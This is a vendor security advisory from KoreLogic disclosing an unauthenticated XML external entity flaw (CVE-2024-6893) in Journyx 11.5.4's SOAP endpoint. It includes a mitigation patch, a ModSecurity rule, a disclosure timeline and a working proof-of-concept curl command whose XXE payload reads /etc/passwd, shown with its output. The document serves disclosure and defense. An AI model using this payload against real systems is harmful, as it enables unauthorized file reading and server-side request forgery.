KL-001-2024-010: Journyx Unauthenticated XML External Entities Injection Title: Journyx Unauthenticated XML External Entities Injection Advisory ID: KL-001-2024-010 Publication Date: 2024.08.07 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt 1. Vulnerability Details Affected Vendor: Journyx Affected Product: Journyx (jtime) Affected Version: 11.5.4 Platform: GNU/Linux CWE Classification: CWE-611: Improper Restriction of XML External Entity Reference CVE ID: CVE-2024-6893 2. Vulnerability Description The "soap_cgi.pyc" API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources. 3. Technical Description From an unauthenticated perspective, a user can send an HTTP request to the "/jtcgi/soap_cgi.pyc" endpoint. The body of the HTTP request is read and processed by the Journyx web server as XML. To process these SOAP requests, the third-party component "SOAPpy" is used. The built-in XML parser for "SOAPpy" is "xml.sax". According to the "xml.sax" documentation (https://docs.python.org/3/library/xml.sax.html), versions before 3.7.1 enable XML external entities by default. Since Journyx version 11.5.4 ships with python 3.6, the SOAP API endpoint is vulnerable. 4. Mitigation and Remediation Recommendation The vendor reports that this issue was remediated in Journyx v13.0.0, which is the first wholly cloud-hosted version of this product. For self-hosted versions of Journyx, external entity processing can be disabled by editing the old bundled version of SOAPpy by modifying the "Parser.py" file: --- Parser.py.orig 2018-11-27 17:26:53.000000000 -0500 +++ Parser.py 2024-06-18 10:56:01.993019226 -0400 @@ -1036,6 +1036,10 @@ # turn on namespace mangeling parser.setFeature(xml.sax.handler.feature_namespaces, 1) + # Disallow external entities, prevent XXE + parser.setFeature(xml.sax.handler.feature_external_ges, 0) + parser.setFeature(xml.sax.handler.feature_external_pes, 0) + try: parser.parse(inpsrc) except xml.sax.SAXParseException as e: Additionally, if API access is not required, requests to /jtcgi/soap_cgi.pyc could be dropped without forwarding to FastCGI via a ModSecurity rule like the one below: SecRule REQUEST_URI "@contains soap_cgi" "id:1,phase:2,deny,log,auditlog" 5. Credit This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc. 6. Disclosure Timeline 2024.01.31 - KoreLogic notifies Journyx support of the intention to report vulnerabilities discovered in the licensed, on-premises version of the product. 2024.01.31 - Journyx acknowledges receipt. 2024.02.02 - KoreLogic requests a meeting with Journyx support to share vulnerability details. 2024.02.07 - KoreLogic reports vulnerability details to Journyx. 2024.02.09 - Journyx responds that this vulnerability has been remediated in the cloud-hosted version of the product. 2024.02.21 - KoreLogic offers to test the cloud version to confirm the fix; no response. 2024.07.01 - KoreLogic notifies Journyx of impending public disclosure. 2024.07.09 - Journyx confirms version number of the remediation. 2024.08.07 - KoreLogic public disclosure. 7. Proof of Concept The "changeUserPassword" SOAP method will reflect the "username" parameter in the HTTP response if the given username does not exist in the Journyx database. This makes exploitation straight forward, as an external entity can be used as the value of "username" and the dynamic value of the entity is reflected in the page response. [attacker@box]$ python xxe.py --host redacted.com --port 8080 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... [attacker@box]$ [attacker@box]$ HOST='redacted.com'; PORT='8080'; PAYLOAD_TARGET='file:///etc/passwd'; \ curl -X POST --data-binary '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "'$PAYLOAD_TARGET'">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>zzz</curpwd><newpwd>zzz123</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>' \ -s "http://$HOST:$PORT/jtcgi/soap_cgi.pyc" | awk '/incorrect or invalid password for user /{flag=1;next}/<\/faultstring>/{flag=0}flag' daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin ... [attacker@box]$ The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy